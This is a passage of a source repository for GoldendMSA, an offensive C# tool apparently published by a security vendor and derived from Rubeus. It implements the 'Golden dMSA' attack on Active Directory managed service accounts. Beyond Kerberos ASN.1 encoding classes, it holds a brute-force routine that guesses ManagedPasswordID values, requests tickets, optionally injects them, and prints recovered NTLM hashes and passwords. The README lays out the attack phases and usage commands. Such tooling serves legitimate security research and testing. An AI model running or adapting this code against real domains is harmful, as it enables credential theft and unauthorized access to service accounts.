totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); 36 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 29, totalSeq2); 37 | 38 | return totalSeq2; 39 | } 40 | 41 | public List ticket_info { get; set; } 42 | 43 | } 44 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/EncryptedPAData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class EncryptedPAData 9 | { 10 | public EncryptedPAData(AsnElt body) 11 | { 12 | // Get padata-type and padata-value 13 | foreach (AsnElt s in body.Sub[0].Sub) 14 | { 15 | switch (s.TagValue) 16 | { 17 | case 1: 18 | keytype = Convert.ToInt32(s.Sub[0].GetInteger()); 19 | break; 20 | case 2: 21 | keyvalue = s.Sub[0].GetOctetString(); 22 | break; 23 | default: 24 | break; 25 | } 26 | } 27 | 28 | // Decode the KEY-LIST-REP 29 | if (keytype == (Int32)Interop.PADATA_TYPE.KEY_LIST_REP) 30 | { 31 | AsnElt ae = AsnElt.Decode(keyvalue); 32 | PA_KEY_LIST_REP = new PA_KEY_LIST_REP(ae); 33 | } 34 | 35 | // Decode the DMSA_KEY_PACKAGE 36 | if (keytype == (Int32)Interop.PADATA_TYPE.DMSA_KEY_PACKAGE) 37 | { 38 | AsnElt ae = AsnElt.Decode(keyvalue); 39 | PA_DMSA_KEY_PACKAGE = new PA_DMSA_KEY_PACKAGE(ae); 40 | } 41 | } 42 | 43 | public Int32 keytype { get; set; } 44 | 45 | public byte[] keyvalue { get; set; } 46 | 47 | public PA_KEY_LIST_REP PA_KEY_LIST_REP { get; set; } 48 | 49 | public PA_DMSA_KEY_PACKAGE PA_DMSA_KEY_PACKAGE { get; set; } 50 | } 51 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This software is distributed by the Semperis Technologies Inc. group of 2 | companies ("Semperis") under the BSD 3‑Clause license. 3 | Portions of the source code are derived from the “Rubeus” project 4 | (https://github.com/GhostPack/Rubeus) © 2018 Will Schroeder and retain their 5 | original copyright notice and license. 6 | 7 | ************************************************************* 8 | 9 | Copyright (c) 2025 Semperis 10 | Copyright (c) 2018, Will Schroeder 11 | All rights reserved. 12 | 13 | Redistribution and use in source and binary forms, with or without modification, 14 | are permitted provided that the following conditions are met: 15 | 16 | 1. Redistributions of source code must retain the above copyright notice, this 17 | list of conditions and the following disclaimer. 18 | 2. Redistributions in binary form must reproduce the above copyright notice, 19 | this list of conditions and the following disclaimer in the documentation 20 | and/or other materials provided with the distribution. 21 | 3. Neither the name of Semperis nor the names of its contributors may be 22 | used to endorse or promote products derived from this software without 23 | specific prior written permission. 24 | 25 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND 26 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 27 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 28 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 29 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 30 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 31 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 32 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 33 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 34 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 35 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/EncryptionKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class EncryptionKey 9 | { 10 | //EncryptionKey::= SEQUENCE { 11 | // keytype[0] Int32 -- actually encryption type --, 12 | // keyvalue[1] OCTET STRING 13 | //} 14 | 15 | public EncryptionKey() 16 | { 17 | keytype = 0; 18 | 19 | keyvalue = null; 20 | } 21 | 22 | public EncryptionKey(AsnElt body) 23 | { 24 | foreach (AsnElt s in body.Sub[0].Sub) 25 | { 26 | switch (s.TagValue) 27 | { 28 | case 0: 29 | keytype = Convert.ToInt32(s.Sub[0].GetInteger()); 30 | break; 31 | case 1: 32 | keyvalue = s.Sub[0].GetOctetString(); 33 | break; 34 | case 2: 35 | keyvalue = s.Sub[0].GetOctetString(); 36 | break; 37 | default: 38 | break; 39 | } 40 | } 41 | } 42 | 43 | public AsnElt Encode() 44 | { 45 | // keytype[0] Int32 -- actually encryption type -- 46 | AsnElt keyTypeElt = AsnElt.MakeInteger(keytype); 47 | AsnElt keyTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { keyTypeElt }); 48 | keyTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, keyTypeSeq); 49 | 50 | 51 | // keyvalue[1] OCTET STRING 52 | AsnElt blob = AsnElt.MakeBlob(keyvalue); 53 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { blob }); 54 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, blobSeq); 55 | 56 | 57 | // build the final sequences (s) 58 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { keyTypeSeq, blobSeq }); 59 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 60 | 61 | return seq2; 62 | } 63 | 64 | public Int32 keytype { get; set; } 65 | 66 | public byte[] keyvalue { get; set; } 67 | } 68 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/HostAddress.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | 6 | namespace GoldendMSA 7 | { 8 | //Hostname::= SEQUENCE { 9 | // name-type[0] Int32, 10 | // name-string[1] SEQUENCE OF KerberosString 11 | //} 12 | 13 | public class HostAddress 14 | { 15 | 16 | public HostAddress(string hostName) 17 | { 18 | // create with hostname 19 | addr_type = Interop.HostAddressType.ADDRTYPE_NETBIOS; 20 | 21 | // setup padding 22 | Int32 numSpaces = 16 - (hostName.Length % 16); 23 | hostName = hostName.PadRight(hostName.Length + numSpaces); 24 | 25 | addr_string = hostName.ToUpper(); 26 | } 27 | 28 | 29 | public HostAddress(AsnElt body) 30 | { 31 | foreach (AsnElt s in body.Sub) 32 | { 33 | switch (s.TagValue) 34 | { 35 | case 0: 36 | addr_type = (Interop.HostAddressType)s.Sub[0].GetInteger(); 37 | break; 38 | case 1: 39 | addr_string = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 40 | break; 41 | default: 42 | break; 43 | } 44 | } 45 | } 46 | 47 | public AsnElt Encode() 48 | { 49 | // addr-type[0] Int32 50 | // addr-string[1] OCTET STRING 51 | AsnElt addrTypeElt = AsnElt.MakeInteger((long)addr_type); 52 | AsnElt addrTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrTypeElt }); 53 | addrTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, addrTypeSeq); 54 | 55 | AsnElt addrStringElt = AsnElt.MakeString(AsnElt.TeletexString, addr_string); 56 | addrStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.OCTET_STRING, addrStringElt); 57 | AsnElt addrStringSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { addrStringElt }); 58 | addrStringSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, addrStringSeq); 59 | 60 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { addrTypeSeq, addrStringSeq }); 61 | 62 | return seq; 63 | } 64 | 65 | public Interop.HostAddressType addr_type { get; set; } 66 | 67 | public string addr_string { get; set; } 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/EncryptedData.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class EncryptedData 9 | { 10 | //EncryptedData::= SEQUENCE { 11 | // etype[0] Int32 -- EncryptionType --, 12 | // kvno[1] UInt32 OPTIONAL, 13 | // cipher[2] OCTET STRING -- ciphertext 14 | //} 15 | 16 | 17 | public EncryptedData(Int32 encType, byte[] data) 18 | { 19 | etype = encType; 20 | cipher = data; 21 | } 22 | 23 | public EncryptedData(AsnElt body) 24 | { 25 | foreach (AsnElt s in body.Sub) 26 | { 27 | switch (s.TagValue) 28 | { 29 | case 0: 30 | etype = Convert.ToInt32(s.Sub[0].GetInteger()); 31 | break; 32 | case 1: 33 | long tmpLong = s.Sub[0].GetInteger(); 34 | kvno = Convert.ToUInt32(tmpLong & 0x00000000ffffffff); 35 | break; 36 | case 2: 37 | cipher = s.Sub[0].GetOctetString(); 38 | break; 39 | default: 40 | break; 41 | } 42 | } 43 | } 44 | 45 | public AsnElt Encode() 46 | { 47 | // etype [0] Int32 -- EncryptionType --, 48 | AsnElt etypeAsn = AsnElt.MakeInteger(etype); 49 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); 50 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); 51 | 52 | 53 | // cipher [2] OCTET STRING -- ciphertext 54 | AsnElt cipherAsn = AsnElt.MakeBlob(cipher); 55 | AsnElt cipherSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { cipherAsn }); 56 | cipherSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, cipherSeq); 57 | 58 | 59 | if (kvno != 0) 60 | { 61 | // kvno [1] UInt32 OPTIONAL 62 | AsnElt kvnoAsn = AsnElt.MakeInteger(kvno); 63 | AsnElt kvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { kvnoAsn }); 64 | kvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, kvnoSeq); 65 | 66 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, kvnoSeq, cipherSeq }); 67 | return totalSeq; 68 | } 69 | else 70 | { 71 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, cipherSeq }); 72 | return totalSeq; 73 | } 74 | } 75 | 76 | public Int32 etype { get; set; } 77 | 78 | public UInt32 kvno { get; set; } 79 | 80 | public byte[] cipher { get; set; } 81 | } 82 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/AS_REP.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class AS_REP 9 | { 10 | 11 | 12 | 13 | public AS_REP(AsnElt asn_AS_REP) 14 | { 15 | this.Decode(asn_AS_REP); 16 | } 17 | 18 | private void Decode(AsnElt asn_AS_REP) 19 | { 20 | // AS-REP::= [APPLICATION 11] KDC-REQ 21 | if (asn_AS_REP.TagValue != (int)Interop.KERB_MESSAGE_TYPE.AS_REP) 22 | { 23 | throw new System.Exception("AS-REP tag value should be 11"); 24 | } 25 | 26 | if ((asn_AS_REP.Sub.Length != 1) || (asn_AS_REP.Sub[0].TagValue != 16)) 27 | { 28 | throw new System.Exception("First AS-REP sub should be a sequence"); 29 | } 30 | 31 | // extract the KDC-REP out 32 | AsnElt[] kdc_rep = asn_AS_REP.Sub[0].Sub; 33 | padata = new List(); 34 | 35 | foreach (AsnElt s in kdc_rep) 36 | { 37 | switch (s.TagValue) 38 | { 39 | case 0: 40 | pvno = s.Sub[0].GetInteger(); 41 | break; 42 | case 1: 43 | msg_type = s.Sub[0].GetInteger(); 44 | break; 45 | case 2: 46 | // sequence of pa-data 47 | int i; 48 | for (i = 0; i < s.Sub[0].Sub.Length; i++) 49 | { 50 | padata.Add(new PA_DATA(s.Sub[0].Sub[i])); 51 | } 52 | break; 53 | case 3: 54 | crealm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 55 | break; 56 | case 4: 57 | cname = new PrincipalName(s.Sub[0]); 58 | break; 59 | case 5: 60 | ticket = new Ticket(s.Sub[0].Sub[0]); 61 | break; 62 | case 6: 63 | enc_part = new EncryptedData(s.Sub[0]); 64 | break; 65 | default: 66 | break; 67 | } 68 | } 69 | } 70 | 71 | // won't really every need to *create* a AS reply, so no encode 72 | 73 | public long pvno { get; set; } 74 | 75 | public long msg_type { get; set; } 76 | 77 | public List padata { get; set; } 78 | 79 | public string crealm { get; set; } 80 | 81 | public PrincipalName cname { get; set; } 82 | 83 | public Ticket ticket { get; set; } 84 | 85 | public EncryptedData enc_part { get; set; } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /GoldendMSA/MsdsManagedPasswordld.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Security.Principal; 3 | 4 | namespace GoldendMSA 5 | { 6 | public class MsdsManagedPasswordId 7 | { 8 | public byte[] MsdsManagedPasswordIdBytes { get; private set; } 9 | 10 | public int Version { get; set; } 11 | public int Reserved { get; set; } 12 | public int isPublicKey { get; set; } 13 | public int L0Index { get; set; } 14 | public int L1Index { get; set; } 15 | public int L2Index { get; set; } 16 | public Guid RootKeyIdentifier { get; set; } 17 | public int cbUnknown { get; set; } 18 | public int cbDomainName { get; set; } 19 | public int cbForestName { get; set; } 20 | public byte[] Unknown { get; set; } 21 | public string DomainName { get; set; } 22 | public string ForestName { get; set; } 23 | 24 | public MsdsManagedPasswordId(byte[] pwdBlob) 25 | { 26 | MsdsManagedPasswordIdBytes = pwdBlob; 27 | 28 | Version = BitConverter.ToInt32(pwdBlob, 0); 29 | Reserved = BitConverter.ToInt32(pwdBlob, 4); 30 | isPublicKey = BitConverter.ToInt32(pwdBlob, 8); 31 | L0Index = BitConverter.ToInt32(pwdBlob, 12); 32 | L1Index = BitConverter.ToInt32(pwdBlob, 16); 33 | L2Index = BitConverter.ToInt32(pwdBlob, 20); 34 | byte[] temp = new byte[16]; 35 | Array.Copy(pwdBlob, 24, temp, 0, 16); 36 | RootKeyIdentifier = new Guid(temp); 37 | cbUnknown = BitConverter.ToInt32(pwdBlob, 40); 38 | cbDomainName = BitConverter.ToInt32(pwdBlob, 44); 39 | cbForestName = BitConverter.ToInt32(pwdBlob, 48); 40 | if (cbUnknown > 0) 41 | { 42 | Unknown = new byte[cbUnknown]; 43 | Array.Copy(pwdBlob, 52, Unknown, 0, cbUnknown); 44 | } 45 | else 46 | { 47 | Unknown = null; 48 | } 49 | DomainName = System.Text.Encoding.Unicode.GetString(pwdBlob, 52 + cbUnknown, cbDomainName); 50 | ForestName = System.Text.Encoding.Unicode.GetString(pwdBlob, 52 + cbDomainName + cbUnknown, cbForestName); 51 | } 52 | 53 | 54 | public static MsdsManagedPasswordId GetManagedPasswordIDBySid(string domainName, SecurityIdentifier sid) 55 | { 56 | string[] attributes = { "msds-ManagedPasswordID" }; 57 | string ldapFilter = $"(objectSID={sid})"; 58 | 59 | var results = LdapUtils.FindInDomain(domainName, ldapFilter, attributes); 60 | 61 | if (results == null || results.Count == 0) 62 | return null; 63 | 64 | if (!results[0].Properties.Contains("msds-ManagedPasswordID")) 65 | return null; 66 | 67 | var pwdIdBlob = (byte[])results[0].Properties["msds-ManagedPasswordID"][0]; 68 | 69 | return new MsdsManagedPasswordId(pwdIdBlob); 70 | } 71 | } 72 | } -------------------------------------------------------------------------------- /GoldendMSA/BruteForceDMSA.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Security.Principal; 4 | 5 | namespace GoldendMSA 6 | { 7 | public class BruteForceDMSA 8 | { 9 | public static void BruteForce(SecurityIdentifier sid, String Base64KDS, String fileName, String username, String DomainName, bool ptt=false, bool verbose=false) { 10 | (string dcFqdn, string dcIp) = LdapUtils.GetDomainControllerInfoAlt(DomainName); 11 | if (!String.IsNullOrEmpty(dcIp)) 12 | { 13 | BruteForceByFile(sid, Base64KDS, fileName, username, dcIp, DomainName, ptt,verbose); 14 | } 15 | else 16 | { 17 | Console.WriteLine("Faced issues when trying to resolve the DC's IP."); 18 | } 19 | } 20 | public static void BruteForceByFile(SecurityIdentifier sid, String Base64KDS, String fileName, String username, String DCIp, String DomainName, bool ptt, bool verbose) 21 | { 22 | try 23 | { 24 | string[] lines = File.ReadAllLines(fileName); 25 | 26 | for (int i = 0; i < lines.Length; i++) 27 | { 28 | lines[i] = lines[i].Trim(); 29 | } 30 | 31 | for (int i = 0; i < lines.Length; i++) 32 | { 33 | string line = lines[i]; 34 | 35 | if (string.IsNullOrEmpty(line)) 36 | continue; 37 | 38 | line = line.Trim(); 39 | Base64KDS = Base64KDS.Trim(); 40 | string managedPasswordID = Program.ProcessComputePwdOptions(sid, Base64KDS, line, null, null, false); 41 | byte[] decodedData = Convert.FromBase64String(managedPasswordID); 42 | string ntlmHash = Helpers.ConvertBase64ToNTLM(managedPasswordID); 43 | if (verbose) 44 | { 45 | Console.WriteLine("Action: Ask TGT (attempt #" + i + ") for " + DomainName + "\\" + username); 46 | } 47 | if(Helpers.base64ToAES(username, DomainName, managedPasswordID, true, ptt, verbose) == 1) 48 | { 49 | Console.WriteLine($"NTLM Hash:\t{ntlmHash}"); 50 | Console.WriteLine(); 51 | Console.WriteLine("ManagedPassword-ID:\t" + line); 52 | Console.WriteLine(); 53 | Console.WriteLine("Base64 Encoded Password:\t" + managedPasswordID); 54 | Console.WriteLine(); 55 | break; 56 | 57 | } 58 | } 59 | } 60 | catch (Exception ex) 61 | { 62 | if (verbose) 63 | { 64 | Console.WriteLine($"Error: {ex.Message}"); 65 | } 66 | } 67 | } 68 | 69 | 70 | } 71 | 72 | 73 | 74 | } 75 | -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/Ticket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Text; 4 | using System.Collections.Generic; 5 | 6 | namespace GoldendMSA 7 | { 8 | public class Ticket 9 | { 10 | //Ticket::= [APPLICATION 1] SEQUENCE { 11 | // tkt-vno[0] INTEGER(5), 12 | // realm[1] Realm, 13 | // sname[2] PrincipalName, 14 | // enc-part[3] EncryptedData -- EncTicketPart 15 | //} 16 | 17 | 18 | public Ticket(AsnElt body) 19 | { 20 | foreach (AsnElt s in body.Sub) 21 | { 22 | switch (s.TagValue) 23 | { 24 | case 0: 25 | tkt_vno = Convert.ToInt32(s.Sub[0].GetInteger()); 26 | break; 27 | case 1: 28 | realm = Encoding.UTF8.GetString(s.Sub[0].GetOctetString()); 29 | break; 30 | case 2: 31 | sname = new PrincipalName(s.Sub[0]); 32 | break; 33 | case 3: 34 | enc_part = new EncryptedData(s.Sub[0]); 35 | break; 36 | default: 37 | break; 38 | } 39 | } 40 | } 41 | 42 | public AsnElt Encode() 43 | { 44 | // tkt-vno [0] INTEGER (5) 45 | AsnElt tkt_vnoAsn = AsnElt.MakeInteger(tkt_vno); 46 | AsnElt tkt_vnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { tkt_vnoAsn }); 47 | tkt_vnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, tkt_vnoSeq); 48 | 49 | 50 | // realm [1] Realm 51 | AsnElt realmAsn = AsnElt.MakeString(AsnElt.UTF8String, realm); 52 | realmAsn = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, realmAsn); 53 | AsnElt realmAsnSeq = AsnElt.Make(AsnElt.SEQUENCE, realmAsn); 54 | realmAsnSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, realmAsnSeq); 55 | 56 | 57 | // sname [2] PrincipalName 58 | AsnElt snameAsn = sname.Encode(); 59 | snameAsn = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, snameAsn); 60 | 61 | 62 | // enc-part [3] EncryptedData -- EncTicketPart 63 | AsnElt enc_partAsn = enc_part.Encode(); 64 | AsnElt enc_partSeq = AsnElt.Make(AsnElt.SEQUENCE, enc_partAsn); 65 | enc_partSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, enc_partSeq); 66 | 67 | 68 | AsnElt totalSeq = AsnElt.Make(AsnElt.SEQUENCE, new[] { tkt_vnoSeq, realmAsnSeq, snameAsn, enc_partSeq }); 69 | AsnElt totalSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { totalSeq }); 70 | totalSeq2 = AsnElt.MakeImplicit(AsnElt.APPLICATION, 1, totalSeq2); 71 | 72 | return totalSeq2; 73 | } 74 | 75 | 76 | 77 | 78 | public int tkt_vno { get; set; } 79 | 80 | public string realm { get; set; } 81 | 82 | public PrincipalName sname { get; set; } 83 | 84 | public EncryptedData enc_part { get; set; } 85 | } 86 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/KRB_CRED.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Asn1; 3 | using System.Collections.Generic; 4 | 5 | namespace GoldendMSA 6 | { 7 | public class KRB_CRED 8 | { 9 | //KRB-CRED::= [APPLICATION 22] SEQUENCE { 10 | // pvno[0] INTEGER(5), 11 | // msg-type[1] INTEGER(22), 12 | // tickets[2] SEQUENCE OF Ticket, 13 | // enc-part[3] EncryptedData -- EncKrbCredPart 14 | //} 15 | 16 | public KRB_CRED() 17 | { 18 | // defaults for creation 19 | pvno = 5; 20 | msg_type = 22; 21 | 22 | tickets = new List(); 23 | 24 | enc_part = new EncKrbCredPart(); 25 | } 26 | 27 | public AsnElt Encode() 28 | { 29 | // pvno [0] INTEGER (5) 30 | AsnElt pvnoAsn = AsnElt.MakeInteger(pvno); 31 | AsnElt pvnoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoAsn }); 32 | pvnoSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, pvnoSeq); 33 | 34 | 35 | // msg-type [1] INTEGER (22) 36 | AsnElt msg_typeAsn = AsnElt.MakeInteger(msg_type); 37 | AsnElt msg_typeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { msg_typeAsn }); 38 | msg_typeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); 39 | 40 | 41 | // tickets [2] SEQUENCE OF Ticket 42 | // TODO: encode/handle multiple tickets! 43 | AsnElt ticketAsn = tickets[0].Encode(); 44 | AsnElt ticketSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketAsn }); 45 | AsnElt ticketSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { ticketSeq }); 46 | ticketSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, ticketSeq2); 47 | 48 | 49 | // enc-part [3] EncryptedData -- EncKrbCredPart 50 | AsnElt enc_partAsn = enc_part.Encode(); 51 | AsnElt blob = AsnElt.MakeBlob(enc_partAsn.Encode()); 52 | 53 | AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); 54 | blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); 55 | 56 | // etype == 0 -> no encryption 57 | AsnElt etypeAsn = AsnElt.MakeInteger(0); 58 | AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); 59 | etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); 60 | 61 | AsnElt infoSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); 62 | AsnElt infoSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { infoSeq }); 63 | infoSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, infoSeq2); 64 | 65 | 66 | // all the components 67 | AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, ticketSeq2, infoSeq2 }); 68 | 69 | // tag the final total ([APPLICATION 22]) 70 | AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); 71 | final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 22, final); 72 | 73 | return final; 74 | } 75 | 76 | public long pvno { get; set; } 77 | 78 | public long msg_type { get; set; } 79 | 80 | //public Ticket[] tickets { get; set; } 81 | public List tickets { get; set; } 82 | 83 | public EncKrbCredPart enc_part { get; set; } 84 | 85 | public byte[] RawBytes { get; set; } 86 | } 87 | } -------------------------------------------------------------------------------- /GoldendMSA/lib/krb_structures/PrincipalName.cs: -------------------------------------------------------------------------------- 1 | using Asn1; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Text; 5 | 6 | namespace GoldendMSA 7 | { 8 | //PrincipalName::= SEQUENCE { 9 | // name-type[0] Int32, 10 | // name-string[1] SEQUENCE OF KerberosString 11 | //} 12 | 13 | public class PrincipalName 14 | { 15 | public PrincipalName() 16 | { 17 | /* 18 | Name Type Value Meaning 19 | 20 | NT-UNKNOWN 0 Name type not known 21 | NT-PRINCIPAL 1 Just the name of the principal as in DCE, 22 | or for users 23 | NT-SRV-INST 2 Service and other unique instance (krbtgt) 24 | NT-SRV-HST 3 Service with host name as instance 25 | (telnet, rcommands) 26 | NT-SRV-XHST 4 Service with host as remaining components 27 | NT-UID 5 Unique ID 28 | NT-X500-PRINCIPAL 6 Encoded X.509 Distinguished name [RFC2253] 29 | NT-SMTP-NAME 7 Name in form of SMTP email name 30 | (e.g., user@example.com) 31 | NT-ENTERPRISE 10 Enterprise name - may be mapped to principal 32 | name 33 | */ 34 | 35 | name_type = Interop.PRINCIPAL_TYPE.NT_PRINCIPAL; 36 | 37 | name_string = new List(); 38 | } 39 | 40 | 41 | public PrincipalName(AsnElt body) 42 | { 43 | // KRB_NT_PRINCIPAL = 1 44 | // means just the name of the principal 45 | // KRB_NT_SRV_INST = 2 46 | // service and other unique instance (krbtgt) 47 | 48 | name_type = (Interop.PRINCIPAL_TYPE)body.Sub[0].Sub[0].GetInteger(); 49 | 50 | int numberOfNames = body.Sub[1].Sub[0].Sub.Length; 51 | 52 | name_string = new List(); 53 | 54 | for (int i = 0; i < numberOfNames; i++) 55 | { 56 | name_string.Add(Encoding.UTF8.GetString(body.Sub[1].Sub[0].Sub[i].GetOctetString())); 57 | } 58 | } 59 | 60 | public AsnElt Encode() 61 | { 62 | // name-type[0] Int32 63 | AsnElt nameTypeElt = AsnElt.MakeInteger((long)name_type); 64 | AsnElt nameTypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { nameTypeElt }); 65 | nameTypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, nameTypeSeq); 66 | 67 | 68 | // name-string[1] SEQUENCE OF KerberosString 69 | // add in the name string sequence (one or more) 70 | AsnElt[] strings = new AsnElt[name_string.Count]; 71 | 72 | for (int i = 0; i < name_string.Count; ++i) 73 | { 74 | string name = name_string[i]; 75 | AsnElt nameStringElt = AsnElt.MakeString(AsnElt.UTF8String, name); 76 | nameStringElt = AsnElt.MakeImplicit(AsnElt.UNIVERSAL, AsnElt.GeneralString, nameStringElt); 77 | strings[i] = nameStringElt; 78 | } 79 | 80 | AsnElt stringSeq = AsnElt.Make(AsnElt.SEQUENCE, strings); 81 | AsnElt stringSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { stringSeq } ); 82 | stringSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, stringSeq2); 83 | 84 | 85 | // build the final sequences 86 | AsnElt seq = AsnElt.Make(AsnElt.SEQUENCE, new[] { nameTypeSeq, stringSeq2 }); 87 | 88 | AsnElt seq2 = AsnElt.Make(AsnElt.SEQUENCE, new[] { seq }); 89 | 90 | return seq2; 91 | } 92 | 93 | public Interop.PRINCIPAL_TYPE name_type { get; set; } 94 | 95 | public List name_string { get; set; } 96 | } 97 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Golden dMSA 2 | 3 | This tool exploits a new attack against delegated Managed Service Accounts called the "Golden DMSA" attack. The technique allows attackers to generate passwords for all associated dMSAs offline. 4 | 5 | Additional information is available in this post [golden dMSA](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/). 6 | 7 | 8 | ## Attack steps 9 | Phase 1: Key Material Extraction (pre requirement of the attack) 10 | 11 | * Dump the KDS Root Key from the DC 12 | 13 | Phase 2: Enumerate dMSA accounts 14 | 15 | * Brute-force or use LDAP to discover data on dMSA accounts in the forest - SamAccountName and SID. 16 | 17 | Phase 3: ManagedPasswordID guessing 18 | 19 | * Create a wordlist of possible values and identify the correct managedPasswordId and password hashes through targeted guessing. 20 | 21 | Phase 4: Password Generation 22 | 23 | * Generate valid passwords for any gMSA and dMSA associated with the compromised key. 24 | 25 | ## Build 26 | 27 | * Compile the tool with platform target of x64. 28 | * Tool was tested against target Framework of .NET Framework 4.7.2. 29 | * When copying the tool's executable to the remote machine, please make sure to also copy the CommandLine.dll that is located in GoldendMSA folder. 30 | 31 | ## Usage 32 | 33 | Couple examples of useful commands: 34 | 35 | Computation of gMSA's passwords based on KDS Root key and ManadgedPasswordID: 36 | ``` 37 | $ GoldendMSA.exe compute -s -k -d -m 38 | ``` 39 | 40 | Converts a base64 password of dMSA/ gMSA 